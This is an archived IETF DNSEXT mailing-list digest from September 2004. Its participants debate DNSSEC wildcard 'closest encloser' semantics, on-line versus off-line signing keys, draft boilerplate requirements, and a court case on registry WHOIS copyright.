<16B3CD5DBBBFFC13C2F51E0B@[192.168.0.16]> (Alex Bligh's message of "Wed, 22 Sep 2004 16:01:29 +0100") Precedence: bulk * Alex Bligh: > --On 22 September 2004 11:25 +0100 Edward Lewis <edlewis@arin.net> wrote: > >> (Just a data point...) > > another data point (and I only bring this up because it's something I > could say earlier): > http://tinyurl.com/6datz > We've now had a first ruling in court showing registries do hold > copyright in their own zone files (at least in Australian law) WHOIS data or zone file data? The press release only mentions WHOIS data. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 11:38:26 +1000 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <871xgtzui6.fsf@deneb.enyo.de> Cc: Alex Bligh <alex@alex.org.uk>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 03:44:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Florian Weimer <fw@deneb.enyo.de> In-reply-to: Your message of "Thu, 23 Sep 2004 02:41:53 +0200." <871xgtzui6.fsf@deneb.enyo.de> Precedence: bulk > * Alex Bligh: > > > --On 22 September 2004 11:25 +0100 Edward Lewis <edlewis@arin.net> wrote: > > > >> (Just a data point...) > > > > another data point (and I only bring this up because it's something I > > could say earlier): > > http://tinyurl.com/6datz > > > We've now had a first ruling in court showing registries do hold > > copyright in their own zone files (at least in Australian law) > > WHOIS data or zone file data? The press release only mentions WHOIS > data. http://www.austlii.edu.au/au/cases/cth/federal_ct/2004/1244.html -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> Subject: draft-ietf-dnsext-signed-nonexistence-requirements-00.txt Date: Wed, 22 Sep 2004 21:35:54 -0400 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <ogud@ogud.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Cc: ''Ben Laurie' ' <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 03:45:44 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-Mailer: Internet Mail Service (5.5.2657.72) X-Sender: <ogud@ogud.com> X-Mailer: <ogud@ogud.com> In-Reply-To: <ogud@ogud.com> X-Scanned-By: <ogud@ogud.com> Precedence: bulk The subject draft, containing our initial attempt at collecting requirements for signed proofs of nonexistence, was submitted to the RFC Editor queue last week. Since it still hasn't shown up in the active queue on rfc-editor.org, here are links to the initial version in text http://www.links.org/dnssec/draft-ietf-dnsext-signed-nonexistence-requiremen ts-00.txt and HTML http://www.links.org/dnssec/draft-ietf-dnsext-signed-nonexistence-requiremen ts-00.html formats. (Or go to http://www.links.org/dnssec/ and look for an appropriate link there.) And as a reminder, we fully expect that some of the requirements in this current document may be unrealistic, may conflict with other requirements, or may in fact be "desire-ments" without a solid basis. Once there is at least rough consensus on the maximally inclusive list, then the WG can work on boiling down to a cohesive set of prioritized requirements. Comments requested, of course. --Rip Loomis gilbert.r.loomis@saic.com co-editor, on behalf of Ben Laurie ben@algroup.co.uk -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Internet Draft Requirements Date: Thu, 23 Sep 2004 07:59:07 +0100 Lines: 49 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org>, ''Ben Laurie' ' <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 09:11:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.7.1 (Macintosh/20040626) X-Accept-Language: en-us, en To: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> In-Reply-To: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> Precedence: bulk Loomis, Rip wrote: >The subject draft, containing our initial attempt at collecting >requirements for signed proofs of nonexistence, was submitted >to the RFC Editor queue last week. Since it still hasn't shown >up in the active queue on rfc-editor.org, here are links to the >initial version in text > > I was also suprised that the draft didn't appear yet but Rip message triggered me to check the draft for which he posted the (partly broken) links. The text does not start the mandatory patent disclosure certification language. Since more people were and will be bitten by forgetting this here follows a small reminder. If drafts do not follow a basic set of requirements than they will be bounced at submission. The requirements are listed at: http://www.ietf.org/ietf/1id-guidelines.txt If you use the latest available version of XML2RFC tool for authoring the guidlines on the "standard" boilerplates are automatically satisfied (http://xml.resource.org). Personally I recomend this tool. It would of course be cool if all "ID-nits" from http://www.ietf.org/ID-Checklist.html would be sattisfied too. But that can be done at a later stage in the process. The IDnits checker (http://ietf.levkowetz.com/tools/idnits/) is a good tool to check the IDnits that do not rely on human intelligence. Please remember this, being hit by this at cutt-off date would be a waste of time. -- Olaf (PS; Ben, Rip, I suggest you add the needed diclaimers and without any "content" change resubmit the draft) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: thesaurus attack Date: Thu, 23 Sep 2004 09:14:32 +0100 Lines: 53 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> <4146D2B8.2070903@algroup.co.uk> <a06020402bd6c9ece4b34@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 10:22:08 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020402bd6c9ece4b34@[192.168.1.100]> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > At 12:15 +0100 9/14/04, Ben Laurie wrote: > >> >> In other words, if a.*.example exists, then a query for x.y.example would >> cause y.example to be synthesized as the closest encloser? So, if the >> zone >> looked like: >> >> a.*.example TXT "1" >> *.example TXT "2" >> >> Then a query for x.y.example would yield NXDOMAIN (since y.example is >> an ENT). If a.*.example was not present, the result would be "2". > > > The closest encloser is never synthesized - it's the closest domain in > the tree to the name that is sought. > > Recall that synthesis only happens when you've found that an exact match > fails. The last point of "success" is the closest encloser. > > For x.y.example, the closest encloser would be example.com. As there is > a *.<closest encloser> (= *.example), that is the source of the > synthetic records. > > The result you have is right, but y.example.com is not the closest > encloser. Recall that when performing match rules to find the source of > synthesis, multiple labels can match a '*'. (Not true when 'matching > down the tree, label by label.) It was more a question than a result, but now I'm puzzled. If the closest encloser is not synthesized (which is fine by me, I just thought that you were implying it could be), then surely the result is "2" in both cases and never NXDOMAIN? Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Thu, 23 Sep 2004 09:38:05 +0100 Lines: 88 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> <a0602040dbd67aa223024@[192.168.1.100]> <4146D2B8.2070903@algroup.co.uk> <a06020402bd6c9ece4b34@[192.168.1.100]> <415285E8.7000207@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, Peter Koch <pk@TechFak.Uni-Bielefeld.DE>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 10:47:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <415285E8.7000207@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 9:14 +0100 9/23/04, Ben Laurie wrote: >It was more a question than a result, but now I'm puzzled. If the closest >encloser is not synthesized (which is fine by me, I just thought that you were >implying it could be), then surely the result is "2" in both cases and never >NXDOMAIN? By definition, the closest encloser is never synthesized. (You don't synthesize names, you synthesize records.) It's like this: . / | \ uk com edu | example / | \ abc def ghi /|\ x y z /| * w | * If the sought name is foo.bar.w.y.def.example.com., then I match down the tree (label by label) until I see that at w.y.def.example.com. is as far as I can match. Using Venn diagram notation: +--------------------------------------------+ | . | | +-------+ +--------------------+ +------+ | | | uk | | com | | edu | | | +-------+ | | +------+ | | +---------+ +--------+ | | | +-----------------------------------+ | | | | | example | | | | | | +-----+ +---------------+ +-----+ | | | | | | | abc | | def | | ghi | | | | | | | +-----+ | | +-----+ | | | | | | +-+ +-+ | | | | | | | +---+ +---+ +---+ | | | | | | | | | x | | y | | z | | | | | | | | | +---+ | | +---+ | | | | | | | | +-----+ +-----+ | | | | | | | | | | | | | | | | | | | +---+ +---+ | | | | | | | | | | | * | | w | | | | | | | | | | | +---+ | | | | | | | | | | | | +-----+ | | | | | | | | | | | | | | | | | | | | | | | | +---+ | | | | | | | | | | | | | * | | | | | | | | | | | | | +---+ | | | | | | | | | | | +---------+ | | | | | | | | | +---------------+ | | | | | | | +-------------------+ | | | | | +-----------------------------------+ | | | +---------------------------------------+ | +--------------------------------------------+ (Note this is a domain diagram, not a zone diagram.) If you look to see what smallest box covers the sought name, you'll see it's the box labeled w inside the box(y) inside the box(def) inside the box(example) inside the box(com) inside the box(.) (=the universe). That's a better representation of "closest encloser" its the existing domain that encloses the sought name "most closely." I suppose that I got the workd closest from drawing lines to the tree, enclosing from the idea of the domain Venn diagram. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 10:03:27 +0100 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <20040922162852.7C5B313DFF@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: edlewis@arin.net X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 11:16:42 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <20040922162852.7C5B313DFF@sa.vix.com> To: namedroppers@ops.ietf.org Precedence: bulk At 16:28 +0000 9/22/04, Paul Vixie wrote: >word on the street is, online signing isn't allowed in the dnssec-bis spec. I was shocked when I heard this in the hallway. (So I had to remove my Paul Vixie kill-file entry ;) ...) What about a signed zone that is dynamically updated - doesn't that physically require on-line signing? Historically, on-line signing was distasteful because of the thought that the private key would be vulnerable to a host attack. I think of that as a security engineer's issue - I don't think it was ever a DNS protocol issue. In addition, in RFC 2065 we had strength bits - we tried for a time to use it to separate on-line keys from off-line keys. I don't recall any discussion to "kill off" on-line signing. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 10:26:01 +0100 Lines: 17 Sender: owner-namedroppers@ops.ietf.org References: <edlewis@arin.net> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 11:31:54 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: Message from Edward Lewis <edlewis@arin.net> of "Thu, 23 Sep 2004 10:03:27 BST." <a0602041bbd7840c3647d@[193.0.8.231]> Precedence: bulk >>>>> "Edward" == Edward Lewis <edlewis@arin.net> writes: >> At 16:28 +0000 9/22/04, Paul Vixie wrote: >> word on the street is, online signing isn't allowed in the >> dnssec-bis spec. Edward> What about a signed zone that is dynamically updated - Edward> doesn't that physically require on-line signing? I suppose a throwaway zone signing key could be on-line for on the fly signing of the updates and a strong key signing key kept off-line. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Internet Draft Requirements Date: Thu, 23 Sep 2004 11:13:49 +0100 Lines: 56 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> <4152743B.2020204@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com>, "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 12:24:49 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <4152743B.2020204@ripe.net> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > Loomis, Rip wrote: > >> The subject draft, containing our initial attempt at collecting >> requirements for signed proofs of nonexistence, was submitted >> to the RFC Editor queue last week. Since it still hasn't shown >> up in the active queue on rfc-editor.org, here are links to the >> initial version in text >> >> > I was also suprised that the draft didn't appear yet but Rip message > triggered me to check the draft > for which he posted the (partly broken) links. > > The text does not start the mandatory patent disclosure certification > language. > > Since more people were and will be bitten by forgetting this here > follows a small reminder. > > If drafts do not follow a basic set of requirements than they will be > bounced at submission. I saw no bounce, though! > The requirements are listed at: http://www.ietf.org/ietf/1id-guidelines.txt > > If you use the latest available version of XML2RFC tool for authoring > the guidlines on the "standard" > boilerplates are automatically satisfied (http://xml.resource.org). > Personally I recomend this tool. I did use the tool, but perhaps not the latest version. > (PS; Ben, Rip, I suggest you add the needed diclaimers and without any > "content" change resubmit the draft) I will do so shortly. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 17:30:11 +0700 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: Florian Weimer <fw@deneb.enyo.de>, Alex Bligh <alex@alex.org.uk>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 12:39:31 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> Precedence: bulk Date: Thu, 23 Sep 2004 11:38:26 +1000 From: Mark Andrews <Mark_Andrews@isc.org> Message-ID: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> | http://www.austlii.edu.au/au/cases/cth/federal_ct/2004/1244.html Thanks for the reference. It is clear from that that zone files weren't an issue at all (nothing in the events leading up to the case was in the slightest bit interested in zone file contents) - just the whois database, and Nominet's registry database. It is also clear from this that as an authority on whether or not copyright actually exists in (even those) databases (leaving aside the zone file) this case is totally useless, as that question was conceded by all parties - that is, no-one contested the issue of whether or not copyright actually existed. The judgement just repeats the statutary requirements, and asserts (by agreement) that they're all satisfied. I think that we're going to need another case sometime, where the issue is actually debated, or quite a lot of cases where it is assumed (so that it becomes obvious) before there's any finalisation of the issue. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 11:38:09 +0100 Lines: 89 Sender: owner-namedroppers@ops.ietf.org References: <1704.1095931561@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 12:44:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <1704.1095931561@gromit.rfc1035.com> To: Jim Reid <jim@rfc1035.com> Precedence: bulk At 10:26 +0100 9/23/04, Jim Reid wrote: >>>>>> "Edward" == Edward Lewis <edlewis@arin.net> writes: > > >> At 16:28 +0000 9/22/04, Paul Vixie wrote: > >> word on the street is, online signing isn't allowed in the > >> dnssec-bis spec. > > Edward> What about a signed zone that is dynamically updated - > Edward> doesn't that physically require on-line signing? > >I suppose a throwaway zone signing key could be on-line for on the fly >signing of the updates and a strong key signing key kept off-line. Back in the day...there was a discussion like this... Let's assume that you have a zone with a mix of critical data and (for lack of a better word) vanity data. Critical would be the address record of your mail server. Vanity would be a CNAME to the entry you are using at a conference. E.g. ---> smtp AAAA <ip addr> marco.polo CNAME host-ripe49-139.example.net. Since the smtp(-owned) record is critical, I'll sign it with key A, which is off-line and is 2048 bits long. The latter record is dynamically added when I pop up the laptop, the key signing it is on-line and 512 bits long. So - the smtp is signed "more" securely than marco.polo. Or so I think. There are a couple of problems. One is - what if the attacker can make an update request to change smtp. This would take just "breaking" through whatever ACL's are involved (IP, tsig key, TKEY, other policy, etc.). The result is that smtp new's address is signed with the on-line key. Another possibility is that the attacker gains the access to the private key (it is exposed). In that case, the attacker can generate a new smtp record and slip that into the zone. (Assuming that the attacker also has broken the host's security.) To defend against the breaking of dynamic update policy we (Olafur, Brian, and I) toyed with the idea of using RFC 2065 KEY RR strength bits (signatory bits). The idea was that no on-line SIG could usurp an off-line SIG. I think that in trying to come up with a "strength scale" we encountered problems, I admit that my memory is foggy about this. Probably because we saw the possibility of illicitly learning the on-line key as an insurmountable problem. (If Olafur and/or Brian want to add to this, please do. We had a lot of discussions back then that never made it out of the office and into recorded messages. ;) The benefits of public mail list discussions and archives - discussions survive employment changes.) Ultimately we determined (!= "and that's the way it is") that without a way to express to resolver/verifiers a policy that includes "these records can only be signed with this kind of key" and "those with the weaker key" it is useless for the server to use more than one key (per algorithm at a time). (Yes, key replacement/rollover, etc. are times for multiple keys, but I'm not worried about that now.) If we were to try now to differentiate between the keys a server uses - we'd have to 1) hardcode into the verifier algorithm a policy, or 2) once again raise the the SEC RR: http://www.potaroo.net/ietf/all-ids//draft-ietf-dnsind-sec-rr-00.txt (Note the last paragraph before section 2.) BTW, we'd also have to specify that the SEC RR (set) would have to be signed off-line - otherwise the first record I'd replace is the SEC RR. ;) In summary - unless some basic assumptions have changed (e.g., the trust model), I am quite pessimistic that differentiating between on-line and off-line keys is beneficial. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 12:12:14 +0100 Lines: 13 Sender: owner-namedroppers@ops.ietf.org References: <200409230138.i8N1cQGm082209@drugs.dv.isc.org> <14205.1095935411@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: Mark Andrews <Mark_Andrews@isc.org>, Florian Weimer <fw@deneb.enyo.de>, Alex Bligh <alex@alex.org.uk>, Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 13:20:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.7.1 (Macintosh/20040626) X-Accept-Language: en-us, en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <14205.1095935411@munnari.OZ.AU> Precedence: bulk Can we stop the discussing court cases. We are not lawyers. --Olaf DNSEXT co-chair -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: Internet Draft Requirements Date: Thu, 23 Sep 2004 12:31:46 +0100 Lines: 75 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE10530E@US-Columbia-CIST.mail.saic.com> <4152743B.2020204@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com>, "'namedroppers@ops.ietf.org'" <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 13:39:51 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.8 (Windows/20040913) X-Accept-Language: en-us, en To: "Olaf M. Kolkman" <olaf@ripe.net> In-Reply-To: <4152743B.2020204@ripe.net> X-Enigmail-Version: 0.86.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Olaf M. Kolkman wrote: > Loomis, Rip wrote: > >> The subject draft, containing our initial attempt at collecting >> requirements for signed proofs of nonexistence, was submitted >> to the RFC Editor queue last week. Since it still hasn't shown >> up in the active queue on rfc-editor.org, here are links to the >> initial version in text >> >> > I was also suprised that the draft didn't appear yet but Rip message > triggered me to check the draft > for which he posted the (partly broken) links. > > The text does not start the mandatory patent disclosure certification > language. > > Since more people were and will be bitten by forgetting this here > follows a small reminder. > > If drafts do not follow a basic set of requirements than they will be > bounced at submission. > The requirements are listed at: http://www.ietf.org/ietf/1id-guidelines.txt > > If you use the latest available version of XML2RFC tool for authoring > the guidlines on the "standard" > boilerplates are automatically satisfied (http://xml.resource.org). > Personally I recomend this tool. > > It would of course be cool if all "ID-nits" from > http://www.ietf.org/ID-Checklist.html would be sattisfied > too. But that can be done at a later stage in the process. The IDnits > checker (http://ietf.levkowetz.com/tools/idnits/) is a good tool to > check the IDnits that do not rely on human > intelligence. > > Please remember this, being hit by this at cutt-off date would be a > waste of time. > > -- Olaf > (PS; Ben, Rip, I suggest you add the needed diclaimers and without any > "content" change resubmit the draft) I updated xml2rfc to the current version (1.25), and the text generated was identical, apart from spacing and dates. In fact the error turns out to be this line: <rfc category='info' ipr='full3667'> which used to say: <rfc category='info' ipr='full2026'> for some reason. I am now submitting the revised version. Cheers, Ben. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 18:35:49 +0700 Lines: 39 Sender: owner-namedroppers@ops.ietf.org References: <a0602041dbd784f701cf4@[193.0.8.231]> <1704.1095931561@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 13:47:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <a0602041dbd784f701cf4@[193.0.8.231]> Precedence: bulk Date: Thu, 23 Sep 2004 11:38:09 +0100 From: Edward Lewis <edlewis@arin.net> Message-ID: <a0602041dbd784f701cf4@[193.0.8.231]> | In summary - unless some basic assumptions have changed (e.g., the | trust model), I am quite pessimistic that differentiating between | on-line and off-line keys is beneficial. Beneficial? How is it even possible? That is, how can anyone (other than me) possibly tell whether or not the key used to sign a zone is on-line or off-line - or really even whether a record was dynamically signed on demand, or signed a year ago and stored (given that if I am signing the data, I can set any date or time fields that are included to anything I like before I sign it)? This whole mention of banning on-line signing mistifies me. I cannot even imagine how it would be enforced, how anyone could determine whether or not it had been done correctly (that is, if required to be off line, how do you ensure that it was done off line, and for that matter, what's the actual technical definition of "off line"), or anything else in this area. I certainly have no problems requiring the protocols to be able to be implemented with no on-line keys - I believe that's always been a goal, and should remain one. But that doesn't mean that someone who cares a lot less about security, or trusts their hosts security quite a lot, cannot use on-line keys if they prefer it. Exactly how is it proposed to stop that? kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:07 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: another's view on zone enum & on-line signing Date: Thu, 23 Sep 2004 13:02:00 +0100 Lines: 50 Sender: owner-namedroppers@ops.ietf.org References: <a0602041dbd784f701cf4@[193.0.8.231]> <1704.1095931561@gromit.rfc1035.com> <19509.1095939349@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 23 14:08:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <19509.1095939349@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 18:35 +0700 9/23/04, Robert Elz wrote: > Date: Thu, 23 Sep 2004 11:38:09 +0100 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a0602041dbd784f701cf4@[193.0.8.231]> > > | In summary - unless some basic assumptions have changed (e.g., the > | trust model), I am quite pessimistic that differentiating between > | on-line and off-line keys is beneficial. > >Beneficial? How is it even possible? That is, how can anyone >(other than me) possibly tell whether or not the key used to sign >a zone is on-line or off-line - or really even whether a record was >dynamically signed on demand, or signed a year ago and stored (given >that if I am signing the data, I can set any date or time fields that >are included to anything I like before I sign it)? That was kind of my point. ;) As far as "is it possible?" Well, yes, everything is possible - at a cost. In this case, we'd have to code into resolver algorithm a rigid policy. It would have to be in the algorithm and not the messages. If you the assumption is that you can't trust the messages, you can't rely on the messages to tell you how to verify something. ;) >This whole mention of banning on-line signing mistifies me. I cannot >even imagine how it would be enforced, how anyone could determine >whether or not it had been done correctly (that is, if required to be >off line, how do you ensure that it was done off line, and for that matter, >what's the actual technical definition of "off line"), or anything else in >this area. That's a good point - if there were a ban a resolver couldn't detect the violation. (Same thought - if you assume the messages are not trustworthy...) -- 